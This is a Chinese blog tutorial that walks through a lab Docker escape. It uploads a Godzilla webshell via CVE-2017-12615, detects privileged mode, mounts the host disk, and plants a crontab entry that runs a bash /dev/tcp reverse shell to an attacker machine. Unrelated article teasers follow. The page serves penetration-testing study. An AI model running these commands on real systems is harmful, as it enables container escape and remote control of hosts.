特权模式docker逃逸

embedded/2025/2/2 2:42:55/

目录

1.环境

2.上线哥斯拉

3.特权模式逃逸

docker%E7%8E%AF%E5%A2%83-toc" name="tableOfContents" style="margin-left:40px">1.判断是否为docker环境

2.判断是否为特权模式

docker-toc" name="tableOfContents" style="margin-left:40px">3.挂载宿主机磁盘到docker

 4.计划任务反弹shell


1.环境

ubuntu部署一个存在CVE-2017-12615的docker:   (ip:192.168.117.147)    

kali(ip:192.168.117.128)

哥斯拉

2.上线哥斯拉

这里用PUT上传哥斯拉生成的jsp马直接上线:

3.特权模式逃逸

docker%E7%8E%AF%E5%A2%83" name="1.%E5%88%A4%E6%96%AD%E6%98%AF%E5%90%A6%E4%B8%BAdocker%E7%8E%AF%E5%A2%83">1.判断是否为docker环境

ls -alh /.dockerenv    //如果存在即为docker环境

2.判断是否为特权模式

cat /proc/self/status | grep CapEff	//cat /proc/self/status​ 用于查看当前进程的状态信息。
//grep CapEff​ 用于从输出结果中过滤出 CapEff 相关的行
//capability ​是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

 如果是这两种情况之一,即可判断为当前docker为特权模式启动 :

0000003fffffffff
0000001fffffffff

docker" name="3.%E6%8C%82%E8%BD%BD%E5%AE%BF%E4%B8%BB%E6%9C%BA%E7%A3%81%E7%9B%98%E5%88%B0docker">3.挂载宿主机磁盘到docker

fdisk -l                 //列出所有磁盘,找到宿主机的磁盘
mkdir ceshi              //创建一个目录用于挂载磁盘
mount /dev/sda1  ceshi   //将宿主机的磁盘挂载到ceshi目录下,即可操作宿主机磁盘上的内容了

 4.计划任务反弹shell

当前docker没有vi,vim,nano等,这里用echo写入:

touch test.sh                
echo 'bash -i >& /dev/tcp/192.168.117.128/4444 0>&1' >test.sh    
echo '* * * * * root bash test.sh' >> /etc/crontab    

然后kali这边监听就可以了:

nc -lvvp 4444


http://www.ppmy.cn/embedded/158791.html

相关文章

「AI学习笔记」深度学习进化史:从神经网络到“黑箱技术”(三)

在这篇文章中,我们将探讨深度学习(DL)这一领域的最新发展,以及它如何从传统机器学习(ML)中独立出来,成为一个独立的生态系统。深度学习的核心思想与我们大脑中的神经网络高度相似,因…

【C++动态规划 离散化】1626. 无矛盾的最佳球队|2027

本文涉及知识点 C动态规划 离散化 LeetCode1626. 无矛盾的最佳球队 假设你是球队的经理。对于即将到来的锦标赛,你想组合一支总体得分最高的球队。球队的得分是球队中所有球员的分数 总和 。 然而,球队中的矛盾会限制球员的发挥,所以必须选…

二级C语言:二维数组每行最大值与首元素交换、删除结构体的重复项、取出单词首字母

目录 一、程序填空 --- 二维数组每行最大值与首元素交换 题目 分析 知识点 --- 交换语句 二、程序修改 --- 删除结构体的重复项 题目 分析 三、程序设计 --- 取出单词首字母 题目 分析 前言 本章讲解:二维数组每行最大值与首元素交换、删除结构体的重复项…

MaxCompute—阿里云原生大数据计算机服务——SQL概述与服务支持

MaxCompute(原名ODPS,Oriented Data Processing Service)是阿里云提供的一款云原生大数据计算服务。它是一种基于SQL的全托管式大数据处理平台,允许用户在云端快速、简便地处理和分析海量数据。 什么是MaxCompute MaxCompute是适…

directx12 3d+vs2022游戏开发第三章 笔记五 变换

一、变换实质 总结来说就是通过矩阵和向量计算控制点变换,变换的效果可以实现局内物体的平移,旋转,缩放等一系列操作。 具体实现为先使用线性变换,即向量矩阵控制物体对于自身坐标系的旋转,缩放。 再使用仿射变换&a…

P1158

题意 就是给你机器的工作半径&#xff0c;每次工作要花钱&#xff0c;就是工作半径的平方&#xff0c;问你怎么花最少的钱&#xff0c;拦截所有导弹。 思路 每次通过我们的公式计算距离&#xff0c;存入并排序&#xff0c;最后即可得出答案。 代码 #include <bits/stdc…

STM32-时钟树

STM32-时钟树 时钟 时钟

Spring 面试题【每日20道】【其一】

1、Spring 当中什么是循环依赖&#xff08;常问&#xff09;&#xff1f; 中等 在Spring框架中&#xff0c;循环依赖&#xff08;Circular Dependency&#xff09;是指两个或多个bean互相之间直接或间接地依赖对方的注入。例如&#xff1a; A bean依赖于B bean。B bean又依赖…